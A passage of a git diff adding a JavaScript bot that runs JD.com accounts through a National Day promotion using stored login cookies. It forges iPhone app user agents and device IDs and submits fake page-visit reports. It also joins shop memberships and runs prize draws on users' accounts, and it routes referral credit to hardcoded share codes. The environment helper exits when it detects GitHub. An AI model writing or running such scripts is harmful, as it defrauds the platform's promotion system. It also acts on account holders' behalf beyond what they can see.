t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_gq.js b/backUp/jd_gq.js new file mode 100644 index 0000000..8e64107 --- /dev/null +++ b/backUp/jd_gq.js @@ -0,0 +1,544 @@ +/* +礼惠国庆 大牌欢乐购 +https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/3444910?activityId=8d98g98f8dg8d7s6df7svysd9g7fd88d +*/ +const $ = new Env("礼惠国庆 大牌欢乐购"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let ownCode = null; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + newCookie = '' + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + authorCodeList = [ + 'f86cf586db314690b020975e5e94d470', + '76430b6ed06e4794a146bf8cc76c6a01', + ] + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + // $.authorCode = authorCodeList[random(0, authorCodeList.length)] + $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] + $.authorNum = `${random(1000000, 9999999)}` + $.randomCode = random(1000000, 9999999) + $.activityId = '8d98g98f8dg8d7s6df7svysd9g7fd88d' + $.activityShopId = '1000015445' + $.activityUrl = `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=` + await marry(); + await $.wait(3000) + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` + } + } + } + if (message !== '') { + if ($.isNode()) { + await notify.sendNotify($.name, message, '', `\n`); + } else { + $.msg($.name, '有点儿收获', message); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function marry() { + $.log('那就开始吧。') + $.token = null; + $.secretPin = null; + $.openCardActivityId = null + await getFirstLZCK() + await getToken(); + if ($.token) { + await getMyPing(); + if ($.secretPin) { + console.log("去助力 -> "+$.authorCode) + await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); + await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) + if ($.index === 1) { + await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1) + } else { + await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) + } + await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) + $.log("->关注店铺") + if ($.shopTask) { + if (!$.shopTask.allStatus) { + await task('dz/openCard/followShop', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${encodeURIComponent($.actorUuid)}&taskType=23&taskValue=1000002520`) + } else { + $.log(" >>>已经关注过了\n") + return + } + } else { + $.log("没有获取到对应的任务。\n") + } + $.log("->->->> 加入店铺会员") + if ($.openCardStatus) { + for (let i = 0; i < $.openCardStatus.cardList1.length; i++) { + $.log("模拟上报访问记录") + await task('crm/pageVisit/insertCrmPageVisit', `venderId=1000015445&pageId=8d98g98f8dg8d7s6df7svysd9g7fd88d&elementId=${encodeURIComponent(`去开卡${i}`)}&pin=${encodeURIComponent($.secretPin)}`, 1) + await $.wait(6000) + } + t1TaskList = [] + $.openCardStatus.cardList1.filter((x) => { if (x.status === 0) { t1TaskList.push(x) } }) + if (t1TaskList.length < 1) { + console.log(" >>>已经完成入会任务") + + } else { + for (const vo of t1TaskList) { + $.log(` >>>去加入${vo.name}`) + await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }, vo.value) + await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) + await $.wait(6000) + } + } + + await task("taskact/openCardcommon/drawContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) + await $.wait(6000) + await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) + await $.wait(6000) + await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=1&pin=${encodeURIComponent($.secretPin)}`) + await $.wait(6000) + await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=2&pin=${encodeURIComponent($.secretPin)}`) + + } else { + $.log("没有获取到对应的任务。\n") + } + + } + } +} + +function task(function_id, body, isCommon = 0, own = 0) { + return new Promise(resolve => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (data.result) { + switch (function_id) { + case 'wxActionCommon/getUserInfo': + break; + case 'dz/openCard/activityContent': + if (!data.data.hasEnd) { + $.log(`开启【${data.data.activityName}】活动`) + $.log("-------------------") + if ($.index === 1) { + ownCode = data.data.actorUuid + console.log(ownCode) + } + $.actorUuid = data.data.actorUuid; + $.skuTask = data.data.addSku; + $.shopTask = data.data.followShop; + } else { + $.log("活动已经结束"); + } + break; + case 'dz/openCard/checkOpenCard': + $.openCardStatus = data.data; + break; + case 'dz/openCard/saveTask': + if (data.data) { + if (data.data.addBeanNum) { + $.bean += data.data.addBeanNum; + $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) + } + } + break; + case 'dz/openCard/startDraw': + if (data.data.drawOk) { + switch (data.data.drawInfo.type) { + case 6: + $.bean += data.data.drawInfo.beanNum; + $.log(`==>获得【${data.data.drawInfo.beanNum}】京豆\n`) + break; + default: + if ($.isNode()) { + await notify.sendNotify("中奖了", `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) + } else { + $.msg("中奖了", `获得${data.data.drawInfo.name}`, `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) + } + break; + } + } + break; + case 'crm/pageVisit/insertCrmPageVisit': + $.log("==> 上报成功") + + case 'dz/openCard/followShop': + if (data.data) { + if (data.data.addBeanNum) { + $.bean += data.data.addBeanNum; + $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) + } + } + break; + default: + $.log(JSON.stringify(data)) + break; + } + } else { + $.log(JSON.stringify(data)) + } + } else { + // $.log("京东没有返回数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function getShopOpenCardInfo(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.interestsRuleList) { + $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function bindWithVender(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.giftInfo && res.result.giftInfo.giftList) { + for (const vo of res.result.giftInfo.giftList) { + if (vo.prizeType === 4) { + $.log(`==>获得【${vo.quantity}】京豆`) + $.bean += vo.quantity + } + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function taskUrl(function_id, body, isCommon) { + return { + url: isCommon ? `https://lzdz1-isv.isvjcloud.com/${function_id}` : `https://lzdz1-isv.isvjcloud.com/dingzhi/${function_id}`, + headers: { + Host: 'lzdz1-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie + }, + body: body + + } +} + +function getMyPing() { + let opt = { + url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: 'lzdz1-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` + } else { + $.log(data.errorMessage) + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getFirstLZCK() { + return new Promise(resolve => { + $.get({ url: $.activityUrl }, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + }) +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = 